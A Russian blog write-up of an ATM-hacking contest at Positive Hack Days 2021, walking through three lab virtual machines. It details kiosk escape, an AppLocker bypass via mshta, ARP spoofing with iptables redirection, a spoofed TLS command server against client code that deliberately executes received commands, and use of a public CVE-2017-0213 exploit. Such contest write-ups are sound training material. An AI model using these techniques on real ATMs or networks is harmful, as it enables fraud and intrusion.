Pull to refresh

Как ломать банкоматы: ARP spoofing, CVE, обход киоска

Reading time6 min
Views9.6K
Виды в окрестностях Payment Village на Positive Hack Days
Виды в окрестностях Payment Village на Positive Hack Days

На прошедшем 20 и 21 мая 2021 г. Positive Hack Days в зоне Payment Village был конкурс, участники которого могли посоревноваться в хакерском мастерстве, в частности во взломе банкоматов. Организаторы подготовили три виртуальных машины банкоматов с разным уровнем сложности заданий. На протяжении двух дней участники пытались взломать банкоматы, но всего несколько человек смогли приблизиться к заложенным нами сценариям.

Виртуальные машины банкоматов можно и сейчас скачать по ссылкам ниже:

Мы решили сделать разбор кейсов в этой статье, с помощью которой вы пошагово сможете прокачать свои скилы.

Bankomat1.ova (сложность medium)

Задача: запустить .vbs-скрипт в обход существующих ограничений AppLocker и каким-то образом повысить привилегии в системе до администратора.

Сразу после загрузки виртуальной машины перед участником появлялась надпись-призыв «Я банкомат и жду, пока меня кто-то сломает». Кроме того, в этом задании было много различных отвлекающих внимание секретов.

Лицензия скоро иссякнет, попробуйте перейти в настройки 😉
Лицензия скоро иссякнет, попробуйте перейти в настройки 😉

Например, внезапно могло появиться окно «Доступны обновления», в котором не нажималась кнопка, что давало ложные надежды найти выход из режима киоска. Или такое: комбинация клавиш Ctrl+Alt+Del работала, но открыть диспетчер задач не получалось из-за ограничений в реестре.

Комбинации клавиш и обход АppLocker

Для взлома банкомата участникам необходимо было каким-то образом подключить к нему клавиатуру, чтобы попытаться выйти из режима киоска с помощью комбинаций клавиш. Так как для запуска виртуальной машины используется VMware, у участников был доступ к клавиатуре, следовательно провести такую атаку они могли. Пробегаясь по кнопкам, участники могли заметить, что многие из них не работают: не нажимается аппаратная кнопка калькулятора (у вас есть такая на клавиатуре?), не работает клавиша Win, не работают комбинации Alt+Tab и даже Alt+F4.

Но вдруг после многочасовых попыток поиска нужной комбинации клавиш участникам удалось заметить, что после нажатия Alt+F4 несколько раз киоск все-таки закрывается. На эту идею их должен был натолкнуть запуск блокнота при старте виртуальной машины. Буквально на секунду блокнот проскакивает, и его даже видно, а потом поверх запускается киоск. Секрет заключается в том, что параллельно запускаются два киоска, которые нужно закрыть поочередно. Чтобы сделать это, нужно нажать Alt+F4 и левую клавишу мыши. После загрузки виртуальной машины сначала запускается notepad.exe, потом kiosk.exe, потом еще раз kiosk.exe, но закрываются они в случайном порядке, если не использовать левую клавишу мыши. Итого: мы научились закрывать киоск.

Вызов cmd.exe из блокнота
Вызов cmd.exe из блокнота

Далее по сценарию участникам необходимо было через блокнот открыть консоль. Следует отметить, консоль нужна для того, чтобы поэксплуатировать известную уязвимость в Windows, которая позволяет запускать .vbs-скрипты в обход AppLocker.

Ограничения запуска vbs скриптов
Ограничения запуска vbs скриптов

Невозможно запустить скрипт напрямую, но при использовании следующей команды можно выполнить первую часть задания: mshta "vbscript:window.close(msgbox("test"))

Демонстрация выполнения VBS в обход AppLocker
Демонстрация выполнения VBS в обход AppLocker

Повышение привилегий

Для повышения привилегий необходимо было найти в файле C:\\Windows\Panther\unattend.xml пароль администратора, зашифрованный в Base64.

Закодированный пароль
Закодированный пароль

С этой задачей участники благополучно справились.

Bankomat2.ova (сложность hard)

Задача: обойти режим киоска и каким-то образом повысить привилегии в системе до администратора.

Этот банкомат работает по следующему принципу: каждый раз при запуске стартует приложение client.exe, которое обращается к удаленному серверу, проверяет сертификат сервера и, если он валидный, шлет команду getcommand, и на нее сервер в свою очередь отвечает командой, которую должен выполнить клиент.

Client.py

import ssl
import os
import socket
from cryptography import x509
from cryptography.hazmat.backends import default_backend

sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
sock.settimeout(1)
wrappedSocket = ssl.wrap_socket(sock)

try:
    wrappedSocket.connect(('127.0.0.1', 1234))
except:
    response = False
else:
    pem_cert = ssl.DER_cert_to_PEM_cert(wrappedSocket.getpeercert(True))
    print(pem_cert)
    print(wrappedSocket.getpeercert(True))
    cert = x509.load_pem_x509_certificate(str.encode(pem_cert), default_backend())
    print(cert.subject.rfc4514_string().split(",")[1][3:])
    if cert.subject.rfc4514_string().split(",")[1][3:] == 'ab.ab.ru':
        wrappedSocket.sendall('getcommand'.encode())
        os.system(wrappedSocket.recv(1024).decode()) 
        wrappedSocket.close()
    else:
        wrappedSocket.sendall('invalid cert'.encode())
        wrappedSocket.close()

Server.py

import socket, ssl

context = ssl.SSLContext(ssl.PROTOCOL_TLSv1)
context.load_cert_chain(certfile="cert.pem") 

bindsocket = socket.socket()
bindsocket.bind(('127.0.0.1', 1234))
bindsocket.listen(5)

while True:
    newsocket, fromaddr = bindsocket.accept()
    sslsoc = context.wrap_socket(newsocket, server_side=True)
    request = sslsoc.read()
    if request.decode() == 'getcommand':
        sslsoc.sendall('calc.exe'.encode())
        print(request)
    else:
        sslsoc.sendall('command not found'.encode())
        print(request)

Итого: участникам необходимо было поднять свой сервер, каким-то образом редиректнуть на него трафик с банкомата и подстроить ответ, чтобы выполнить свою команду. Кроме этого, нужно было понять, как генерировать сертификат для проверки.

Итак, для взлома этого банкомата можно использовать ARP spoofing.

Далее участники могли скачать Kali Linux, ввести команду sudo apt install dsniff и установить пакет, содержащий инструмент arpspoof, который позволяет провести эту атаку.

После нужно было написать sudo arpspoof -t 192.168.11.130 -r 192.168.11.2, чтобы перенаправить трафик с банкомата через атакующую машину на шлюз (192.168.11.130 — IP-адрес банкомата, 192.168.11.2 — IP-адрес шлюза).

С помощью следующей команды участники могли редиректнуть трафик с порта 7776 на порт 8080:

sudo iptables -t nat -A PREROUTING -i eth0 -p tcp --dport 7776 -j REDIRECT --to-port 8080

Сервер принимает команды
Сервер принимает команды

Далее черед генерации сертификата и запуска сервера на порте 8080. Можно использовать код, который я привел выше, запускать на банкомате будем explorer.exe. Сертификат генерируется с помощью следующей команды:

openssl req -new -x509 -days 365 -nodes -out cert.pem -keyout cert.pem

При генерации сертификата важно указать в Common Name сертификата поддомен ab.ab.ru, иначе клиенту не понравится ваш сертификат.

Демонстрация атаки
Демонстрация атаки

После генерации сертификат cert.pem следует поместить в папку рядом со скриптом server.py.

Итак, наконец участники увидели долгожданный проводник, через который им надо открыть Internet Explorer, чудом не запрещенный.

Запуск проводника на банкомате
Запуск проводника на банкомате

Далее участникам нужно было скачать эксплойт CVE-2017-0213_x64.exe (github.com/eonrickity/CVE-2017-0213), перенести его в папку kiosk, запустить и повысить права до администратора. Видео с демонстрацией работы этого эксплойта.

Это задание оказалось для участников сложным, никто не смог его решить.

Bankomat3.ova (сложность low)

Задача: обойти режим киоска и каким-то образом повысить привилегии в системе до администратора.

В этом банкомате большинство клавиш просто запрещены, следовательно, для выполнения задания нужно использовать другие методы. Для взлома этой виртуальной машины необходимо выйти в безопасный режим (клавиша 4 на следующем скриншоте).

Варианты загрузки системы
Варианты загрузки системы

Шаги атакующего:

  1. Перезагрузка банкомата во время перезагрузки для выхода в безопасный режим.

  2. Перезагрузка в параметры загрузки.

  3. В виртуальной машине есть несколько аккаунтов: bankomat и администратор. При входе в аккаунт администратора атакующий не сможет ничего выполнить, так как перед ним будет черный экран.

  4. Далее следует повышение привилегий. Повысить привилегии можно несколькими способами. Самый легкий из них: администратор не указал пароль для своего аккаунта, и UAC можно обойти, просто оставив пустым поле для пароля.

С этой задачей участники почти справились, им не хватило чуть-чуть: у них получилось удалить приложение киоска с помощью безопасного режима, но не удалось повысить привилегии в системе.

Выводы

Победителями конкурса по взлому банкоматов стали truebar и Soapboiler. Свои призы они уже получили. Еще раз спасибо участникам и победителям!

В статье были продемонстрированы крутые кейсы и техники, с помощью которых можно прокачать себя в пентесте банкоматов. Рабочих и наглядных сценариев для ARP spoofing сейчас действительно мало, поэтому мы и решили написать эту статью.

И конечно, завершим этот материал конструктивом для defensive: если вы защищаете банкомат, не забывайте про комбинации клавиш, прячьте свой пароль и обдумывайте логику проверки сертификатов. И еще обновляйте свой софт, чтобы старые CVE не работали.

Ссылки

t.me/phdays_payment

Телеграм автора: @yurasikhacker


Читайте также разборы других конкурсов с PHDays10

Tags:
Hubs:
+2
Comments3

Articles

Information

Website
www.ptsecurity.com
Registered
Founded
2002
Employees
1,001–5,000 employees
Location
Россия